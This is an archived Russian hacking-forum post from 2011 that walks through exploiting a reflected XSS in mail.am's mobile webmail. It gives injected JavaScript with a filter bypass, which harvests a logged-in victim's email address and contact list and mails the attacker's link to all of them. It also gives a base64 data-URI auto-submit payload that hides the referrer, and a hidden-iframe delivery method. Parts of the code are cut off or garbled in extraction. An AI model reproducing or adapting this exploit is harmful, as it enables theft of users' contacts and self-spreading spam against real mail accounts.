PDA

Просмотр полной версии : Чтение данных и выполнение запросов через XSS (на примере пассивки mail.am)


M_script
22.05.2011, 16:45
Большинство людей применяют XSS только для того, чтобы получить чужие куки и использовать их в своих целях.

Но даже если использовать чужие куки невозможно (например, из-за привязки к IP), из XSS можно выжать еще многое.

В этом примере я покажу, как через пассивную XSS узнать мыло авторизованного пользователя mail.am, получить его контакт-лист и разослать по контакт-листу ссылку на свой сайт.

1) Пассивная XSS на сайте

http://m.mail.am/mail/reademail.php?id=x&folder=x

Уязвимый параметр - folder. Фильтруется слэш. Запрос можно передавать через POST

2) Внедряемый JS-код


PHP:
slash=String.fromCharCode(47);// переменная для обхода фи льтрации слэша

xmlhttp= newXMLHttpRequest;

xmlhttp.open('GET',

'http:'+slash+slash+'m.mail.am'+slash+'mail'+slash +'abook.php?func=open',

false);

xmlhttp.send(null);// запрос для получения стр аницы адресной книги

newBody=document.createElement('body');

newBody.innerHTML=xmlhttp.responseText;

myEmail=newBody.getElementsByTagName('title')[0].innerHTML.split(' - ')[1];// получение мыла пользоват еля со страницы ("Mail.AM - user@mail.am - {Address book}")

email='';

inputList=newBody.getElementsByTagName('input');

for(i=0;i

Форма автоматической отправки POST-запроса на mail.am со своего сайта:


PHP:


">



Чтобы скрыть реферер при отправке POST-запроса, используется протокол data:


PHP:
data:text/html;base64,PGJvZHkgb25sb2FkPSJkb2N1bWVudC5nZXRFbG VtZW50QnlJZCgneCcpLnN1Ym1pdCgpOyI%2bPGZvcm0gaWQ9J3 gnIGFjdGlvbj0iaHR0cDovL20ubWFpbC5hbS9tYWlsL3JlYWRl bWFpbC5waHAiIG1ldGhvZD0icG9zdCI%2bPGlucHV0IHR5cGU9 InRleHQiIG5hbWU9ImlkIiB2YWx1ZT0ieCI%2bPGlucHV0IHR5 cGU9InRleHQiIG5hbWU9ImZvbGRlciIgdmFsdWU9Ijxib2R5IG 9ubG9hZD0mcXVvdDtzPVN0cmluZy5mcm9tQ2hhckNvZGUoNDcp O3g9bmV3IFhNTEh0dHBSZXF1ZXN0O3gub3BlbignR0VUJywnaH R0cDonJTJicyUyYnMlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFp bCclMmJzJTJiJ2Fib29rLnBocD9mdW5jPW9wZW4nLGZhbHNlKT t4LnNlbmQobnVsbCk7Yj1kb2N1bWVudC5jcmVhdGVFbGVtZW50 KCdib2R5Jyk7Yi5pbm5lckhUTUw9eC5yZXNwb25zZVRleHQ7aW w9Yi5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTtlbT1i LmdldEVsZW1lbnRzQnlUYWdOYW1lKCd0aXRsZScpWzBdLmlubm VySFRNTC5zcGxpdCgnIC0gJylbMV07ZT0nJztmb3IoaT0wO2k8 aWwubGVuZ3RoO2klMmIlMmIpe2lmKGlsW2ldLm5hbWU9PSdUby cpe2UlMmI9aWxbaV0udmFsdWUlMmInLCc7fX1hbGVydChlbSUy Yic6JyUyYmUpO2Z1bmN0aW9uIGEocCxuLHYpe2k9ZG9jdW1lbn QuY3JlYXRlRWxlbWVudCgnaW5wdXQnKTtpLnR5cGU9J2hpZGRl bic7aS5uYW1lPW47aS52YWx1ZT12O3AuYXBwZW5kQ2hpbGQoaS k7fWY9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZm9ybScpO2Yu bWV0aG9kPSdQT1NUJztmLmFjdGlvbj0naHR0cDonJTJicyUyYn MlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFpbCclMmJzJTJiJ3Nl bmRtYWlsLnBocCc7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ0 5hbWUoJ2JvZHknKVswXS5hcHBlbmRDaGlsZChmKTthKGYsJ2Vt YWlsbWVzc2FnZScsJ2h0dHA6JyUyYnMlMmJzJTJiJ215c2l0ZS 5jb20nKTthKGYsJ2VtYWlsZnJvbScsZW0pO2EoZiwnZW1haWx0 bycsZSk7YShmLCdlbWFpbHN1YmplY3QnLCdoZWxsbycpO2Yuc3 VibWl0KCk7JnF1b3Q7PiI%2bPGlucHV0IHR5cGU9InN1Ym1pdC I%2bPC9mb3JtPjwvYm9keT4=

Полученую ссылку можно уменьшить через любой сервсис сокращения, например tinyurl.com:


PHP:
http://tinyurl.com/mailamtest



Добавляем скрытый фрейм на свой сайт:


PHP:


Теперь любой авторизованный пользователь mail.am, заходящий на сайт, незаметно будет отправлять по своему КЛ нужное сообщение.

P.S.:

Пример не работает:

в IE=8 и хроме из-за XSS-фильтров

M_script
15.10.2012, 00:59
Спустите в паблик.